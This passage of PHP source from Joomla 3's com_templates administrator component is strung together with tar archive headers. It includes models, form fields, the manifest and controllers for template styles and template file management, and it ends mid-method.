				// Subquery to get the language of the selected menu item.
				$menuItemLanguageSubQuery = $db->getQuery(true);
				$menuItemLanguageSubQuery->select($db->quoteName('language'))
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('id') . ' = ' . $menuItemId);

				// Subquery to get the language of the selected menu item.
				$templateStylesMenuItemsSubQuery = $db->getQuery(true);
				$templateStylesMenuItemsSubQuery->select($db->quoteName('id'))
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('template_style_id') . ' = ' . $db->quoteName('a.id'));

				// Main query where clause.
				$query->where('(' .
					// Default template style (fallback template style to all menu items).
					$db->quoteName('a.home') . ' = ' . $db->quote(1) . ' OR ' .
					// Default template style for specific language (fallback template style to the selected menu item language).
					$db->quoteName('a.home') . ' IN (' . $menuItemLanguageSubQuery . ') OR ' .
					// Custom template styles override (only if assigned to the selected menu item).
					'(' . $db->quoteName('a.home') . ' = ' . $db->quote(0) . ' AND ' . $menuItemId . ' IN (' . $templateStylesMenuItemsSubQuery . '))' .
					')'
				);
			}
		}

		// Filter by search in title.
		if ($search = $this->getState('filter.search'))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . StringHelper::strtolower($search) . '%');
				$query->where('(' . ' LOWER(a.template) LIKE ' . $search . ' OR LOWER(a.title) LIKE ' . $search . ')');
			}
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.template')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}
}
com_templates/models/templates.php000060400000010271152455305270013377 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Methods supporting a list of template extension records.
 *
 * @since  1.6
 */
class TemplatesModelTemplates extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'folder', 'a.folder',
				'element', 'a.element',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'state', 'a.state',
				'enabled', 'a.enabled',
				'ordering', 'a.ordering',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Override parent getItems to add extra XML metadata.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		$items = parent::getItems();

		foreach ($items as &$item)
		{
			$client = JApplicationHelper::getClientInfo($item->client_id);
			$item->xmldata = TemplatesHelper::parseXMLTemplateFile($client->path, $item->element);
		}

		return $items;
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.extension_id, a.name, a.element, a.client_id'
			)
		);
		$query->from($db->quoteName('#__extensions', 'a'))
			->where($db->quoteName('a.client_id') . ' = ' . (int) $this->getState('client_id'))
			->where($db->quoteName('a.enabled') . ' = 1')
			->where($db->quoteName('a.type') . ' = ' . $db->quote('template'));

		// Filter by search in title.
		if ($search = $this->getState('filter.search'))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . StringHelper::strtolower($search) . '%');
				$query->where('(' . ' LOWER(a.element) LIKE ' . $search . ' OR LOWER(a.name) LIKE ' . $search . ')');
			}
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.element')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('client_id');
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.element', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		// Special case for the client id.
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$clientId = (!in_array($clientId, array (0, 1))) ? 0 : $clientId;
		$this->setState('client_id', $clientId);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_templates');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}
}
com_templates/models/fields/templatename.php000060400000002223152455305270015321 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');

JFormHelper::loadFieldClass('list');

/**
 * Template Name field.
 *
 * @since  3.5
 */
class JFormFieldTemplateName extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var	   string
	 * @since  3.5
	 */
	protected $type = 'TemplateName';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	public function getOptions()
	{
		// Get the client_id filter from the user state.
		$clientId = JFactory::getApplication()->getUserStateFromRequest('com_templates.styles.client_id', 'client_id', '0', 'string');

		// Get the templates for the selected client_id.
		$options = TemplatesHelper::getTemplateOptions($clientId);

		// Merge into the parent options.
		return array_merge(parent::getOptions(), $options);
	}
}
com_templates/models/fields/templatelocation.php000060400000001610152455305270016210 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('TemplatesHelper', JPATH_ADMINISTRATOR . '/components/com_templates/helpers/templates.php');

JFormHelper::loadFieldClass('list');

/**
 * Template Location field.
 *
 * @since  3.5
 */
class JFormFieldTemplateLocation extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var	   string
	 * @since  3.5
	 */
	protected $type = 'TemplateLocation';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.5
	 */
	public function getOptions()
	{
		$options = TemplatesHelper::getClientOptions();

		return array_merge(parent::getOptions(), $options);
	}
}
com_templates/templates.php000060400000001247152455305270012117 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_templates'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

JLoader::register('TemplatesHelper', __DIR__ . '/helpers/templates.php');

$controller = JControllerLegacy::getInstance('Templates');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_templates/templates.xml000060400000002015152455305270012122 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_templates</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_TEMPLATES_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>templates.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_templates.ini</language>
			<language tag="en-GB">language/en-GB.com_templates.sys.ini</language>
		</languages>
	</administration>
</extension>

com_templates/controller.php000060400000003700152455305270012300 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Templates manager master display controller.
 *
 * @since  1.6
 */
class TemplatesController extends JControllerLegacy
{
	/**
	 * @var		string	The default view.
	 * @since   1.6
	 */
	protected $default_view = 'styles';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   boolean  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  TemplatesController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		$view   = $this->input->get('view', 'styles');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		$document = JFactory::getDocument();

		// For JSON requests
		if ($document->getType() == 'json')
		{
			$view = new TemplatesViewStyle;

			// Get/Create the model
			if ($model = new TemplatesModelStyle)
			{
				$model->addTablePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');

				// Push the model into the view (as default)
				$view->setModel($model, true);
			}

			$view->document = $document;

			return $view->display();
		}

		// Check for edit form.
		if ($view == 'style' && $layout == 'edit' && !$this->checkEditId('com_templates.edit.style', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_templates&view=styles', false));

			return false;
		}

		return parent::display();
	}
}
com_templates/controllers/style.php000060400000007711152455305270013631 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Template style controller class.
 *
 * @since  1.6
 */
class TemplatesControllerStyle extends JControllerForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var		string
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_TEMPLATES_STYLE';

	/**
	 * Method to save a template style.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   1.6
	 */
	public function save($key = null, $urlVar = null)
	{
		$this->checkToken();

		$document = JFactory::getDocument();

		if ($document->getType() === 'json')
		{
			$app   = JFactory::getApplication();
			$lang  = JFactory::getLanguage();
			$model = $this->getModel();
			$table = $model->getTable();
			$data  = $this->input->post->get('params', array(), 'array');
			$checkin = property_exists($table, 'checked_out');
			$context = $this->option . '.edit.' . $this->context;
			$task = $this->getTask();

			$item = $model->getItem($app->getTemplate(true)->id);

			// Setting received params
			$item->set('params', $data);

			$data = $item->getProperties();
			unset($data['xml']);

			$key = $table->getKeyName();

			// Access check.
			if (!$this->allowSave($data, $key))
			{
				$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

				return false;
			}

			JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/com_templates/models/forms');

			// Validate the posted data.
			// Sometimes the form needs some posted data, such as for plugins and modules.
			$form = $model->getForm($data, false);

			if (!$form)
			{
				$app->enqueueMessage($model->getError(), 'error');

				return false;
			}

			// Test whether the data is valid.
			$validData = $model->validate($form, $data);

			if ($validData === false)
			{
				// Get the validation messages.
				$errors = $model->getErrors();

				// Push up to three validation messages out to the user.
				for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
				{
					if ($errors[$i] instanceof Exception)
					{
						$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
					}
					else
					{
						$app->enqueueMessage($errors[$i], 'warning');
					}
				}

				// Save the data in the session.
				$app->setUserState($context . '.data', $data);

				return false;
			}

			if (!isset($validData['tags']))
			{
				$validData['tags'] = null;
			}

			// Attempt to save the data.
			if (!$model->save($validData))
			{
				// Save the data in the session.
				$app->setUserState($context . '.data', $validData);

				$app->enqueueMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'error');

				return false;
			}

			// Save succeeded, so check-in the record.
			if ($checkin && $model->checkin($validData[$key]) === false)
			{
				// Save the data in the session.
				$app->setUserState($context . '.data', $validData);

				// Check-in failed, so go back to the record and display a notice.
				$app->enqueueMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'error');

				return false;
			}

			// Redirect the user and adjust session state
			// Set the record data in the session.
			$recordId = $model->getState($this->context . '.id');
			$this->holdEditId($context, $recordId);
			$app->setUserState($context . '.data', null);
			$model->checkout($recordId);

			// Invoke the postSave method to allow for the child class to access the model.
			$this->postSaveHook($model, $validData);

			return true;
		}
		else
		{
			parent::save($key, $urlVar);
		}
	}
}
com_templates/controllers/template.php000060400000057137152455305270014313 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerModelInstall', JPATH_ADMINISTRATOR . '/components/com_installer/models/install.php');

use Joomla\CMS\Filter\InputFilter;

/**
 * Template style controller class.
 *
 * @since  1.6
 */
class TemplatesControllerTemplate extends JControllerLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   3.2
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Apply, Save & New, and Save As copy should be standard on forms.
		$this->registerTask('apply', 'save');
	}

	/**
	 * Method for closing the template.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function cancel()
	{
		$this->setRedirect(JRoute::_('index.php?option=com_templates&view=templates', false));
	}

	/**
	 * Method for closing a file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function close()
	{
		$app  = JFactory::getApplication();
		$file = base64_encode('home');
		$id   = (int) $app->input->get('id', 0, 'int');
		$url  = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
		$this->setRedirect(JRoute::_($url, false));
	}

	/**
	 * Method for copying the template.
	 *
	 * @return  boolean     true on success, false otherwise
	 *
	 * @since   3.2
	 */
	public function copy()
	{
		// Check for request forgeries
		$this->checkToken();

		$app = JFactory::getApplication();
		$this->input->set('installtype', 'folder');
		$newName    = (string) $this->input->get('new_name', null, 'cmd');
		$newNameRaw = (string) $this->input->get('new_name', null, 'string');
		$templateID = (int) $this->input->get('id', 0, 'int');
		$file       = (string) $this->input->get('file', '', 'cmd');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		$this->setRedirect('index.php?option=com_templates&view=template&id=' . $templateID . '&file=' . $file);
		$model = $this->getModel('Template', 'TemplatesModel');
		$model->setState('new_name', $newName);
		$model->setState('tmp_prefix', uniqid('template_copy_'));
		$model->setState('to_path', JFactory::getConfig()->get('tmp_path') . '/' . $model->getState('tmp_prefix'));

		// Process only if we have a new name entered
		if (strlen($newName) > 0)
		{
			if (!JFactory::getUser()->authorise('core.create', 'com_templates'))
			{
				// User is not authorised to delete
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED'), 'error');

				return false;
			}

			// Set FTP credentials, if given
			JClientHelper::setCredentialsFromRequest('ftp');

			// Check that new name is valid
			if (($newNameRaw !== null) && ($newName !== $newNameRaw))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME'), 'error');

				return false;
			}

			// Check that new name doesn't already exist
			if (!$model->checkNewName())
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME'), 'error');

				return false;
			}

			// Check that from name does exist and get the folder name
			$fromName = $model->getFromName();

			if (!$fromName)
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INVALID_FROM_NAME'), 'error');

				return false;
			}

			// Call model's copy method
			if (!$model->copy())
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_COULD_NOT_COPY'), 'error');

				return false;
			}

			// Call installation model
			$this->input->set('install_directory', JFactory::getConfig()->get('tmp_path') . '/' . $model->getState('tmp_prefix'));
			$installModel = $this->getModel('Install', 'InstallerModel');
			JFactory::getLanguage()->load('com_installer');

			if (!$installModel->install())
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_COULD_NOT_INSTALL'), 'error');

				return false;
			}

			$this->setMessage(JText::sprintf('COM_TEMPLATES_COPY_SUCCESS', $newName));
			$model->cleanup();

			return true;
		}
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional (note, the empty array is atypical compared to other models).
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   3.2
	 */
	public function getModel($name = 'Template', $prefix = 'TemplatesModel', $config = array())
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to check if the user can modify template files
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	protected function allowEdit()
	{
		return JFactory::getUser()->authorise('core.admin');
	}

	/**
	 * Saves a template source file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function save()
	{
		// Check for request forgeries.
		$this->checkToken();

		$app          = JFactory::getApplication();
		$data         = $this->input->post->get('jform', array(), 'array');
		$task         = $this->getTask();
		$model        = $this->getModel();
		$fileName     = (string) $app->input->get('file', '', 'cmd');
		$explodeArray = explode(':', base64_decode($fileName));

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		// Match the stored id's with the submitted.
		if (empty($data['extension_id']) || empty($data['filename']))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');

			return false;
		}
		elseif ($data['extension_id'] != $model->getState('extension.id'))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');

			return false;
		}
		elseif ($data['filename'] != end($explodeArray))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');

			return false;
		}

		// Validate the posted data.
		$form = $model->getForm();

		if (!$form)
		{
			$app->enqueueMessage($model->getError(), 'error');

			return false;
		}

		$data = $model->validate($form, $data);

		// Check for validation errors.
		if ($data === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Redirect back to the edit screen.
			$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
			$this->setRedirect(JRoute::_($url, false));

			return false;
		}

		// Attempt to save the data.
		if (!$model->save($data))
		{
			// Redirect back to the edit screen.
			$this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'warning');
			$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
			$this->setRedirect(JRoute::_($url, false));

			return false;
		}

		$this->setMessage(JText::_('COM_TEMPLATES_FILE_SAVE_SUCCESS'));

		// Redirect the user based on the chosen task.
		switch ($task)
		{
			case 'apply':
				// Redirect back to the edit screen.
				$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
				$this->setRedirect(JRoute::_($url, false));
				break;

			default:
				// Redirect to the list screen.
				$file = base64_encode('home');
				$id   = (int) $app->input->get('id', 0, 'int');
				$url  = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
				$this->setRedirect(JRoute::_($url, false));
				break;
		}
	}

	/**
	 * Method for creating override.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function overrides()
	{
		// Check for request forgeries.
		$this->checkToken('get');

		$app      = JFactory::getApplication();
		$model    = $this->getModel();
		$file     = (string) $app->input->get('file', '', 'cmd');
		$override = (string) InputFilter::getInstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('folder', '', 'base64')), 'path');
		$id       = (int) $app->input->get('id', 0, 'int');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}


		if ($model->createOverride($override))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_OVERRIDE_SUCCESS'));
		}

		// Redirect back to the edit screen.
		$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
		$this->setRedirect(JRoute::_($url, false));
	}

	/**
	 * Method for compiling LESS.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function less()
	{
		// Check for request forgeries
		$this->checkToken();

		$app   = JFactory::getApplication();
		$model = $this->getModel();
		$id    = (int) $app->input->get('id', 0, 'int');
		$file  = (string) $app->input->get('file', '', 'cmd');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if ($model->compileLess($file))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_COMPILE_SUCCESS'));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_COMPILE_ERROR'), 'error');
		}

		$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
		$this->setRedirect(JRoute::_($url, false));
	}

	/**
	 * Method for deleting a file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function delete()
	{
		// Check for request forgeries
		$this->checkToken();

		$app   = JFactory::getApplication();
		$model = $this->getModel();
		$id    = (int) $app->input->get('id', 0, 'int');
		$file  = (string) $app->input->get('file', '', 'cmd');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (base64_decode(urldecode($file)) == '/index.php')
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INDEX_DELETE'), 'warning');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}

		elseif ($model->deleteFile($file))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_FILE_DELETE_SUCCESS'));
			$file = base64_encode('home');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_DELETE'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for creating a new file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function createFile()
	{
		// Check for request forgeries
		$this->checkToken();

		$app      = JFactory::getApplication();
		$model    = $this->getModel();
		$id       = (int) $app->input->get('id', 0, 'int');
		$file     = (string) $app->input->get('file', '', 'cmd');
		$name     = (string) $app->input->get('name', '', 'cmd');
		$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
		$type     = (string) $app->input->get('type', '', 'cmd');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if ($type == 'null')
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_TYPE'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif (!preg_match('/^[a-zA-Z0-9-_]+$/', $name))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($model->createFile($name, $type, $location))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_FILE_CREATE_SUCCESS'));
			$file = urlencode(base64_encode($location . '/' . $name . '.' . $type));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_CREATE'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for uploading a file.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function uploadFile()
	{
		// Check for request forgeries
		$this->checkToken();

		$app      = JFactory::getApplication();
		$model    = $this->getModel();
		$id       = (int) $app->input->get('id', 0, 'int');
		$file     = (string) $app->input->get('file', '', 'cmd');
		$upload   = $app->input->files->get('files');
		$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if ($return = $model->uploadFile($upload, $location))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_UPLOAD_SUCCESS') . $upload['name']);
			$redirect = base64_encode($return);
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $redirect;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_UPLOAD'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for creating a new folder.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function createFolder()
	{
		// Check for request forgeries
		$this->checkToken();

		$app      = JFactory::getApplication();
		$model    = $this->getModel();
		$id       = (int) $app->input->get('id', 0, 'int');
		$file     = (string) $app->input->get('file', '', 'cmd');
		$name     = $app->input->get('name');
		$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (!preg_match('/^[a-zA-Z0-9-_.]+$/', $name))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FOLDER_NAME'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($model->createFolder($name, $location))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_FOLDER_CREATE_SUCCESS'));
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FOLDER_CREATE'), 'error');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
	}

	/**
	 * Method for deleting a folder.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function deleteFolder()
	{
		// Check for request forgeries
		$this->checkToken();

		$app      = JFactory::getApplication();
		$model    = $this->getModel();
		$id       = (int) $app->input->get('id', 0, 'int');
		$file     = (string) $app->input->get('file', '', 'cmd');
		$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');

		// Access check.
		if (!$this->allowEdit())
		{
			$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');

			return false;
		}

		if (empty($location))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_ROOT_DELETE'), 'warning');
			$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
			$this->setRedirect(JRoute::_($url, false));
		}
		elseif ($model->deleteFolder($location))
		{
			$this->setMessage(JText::_('COM_TEMPLATES_FOLDER_DELETE_SUCCESS'));

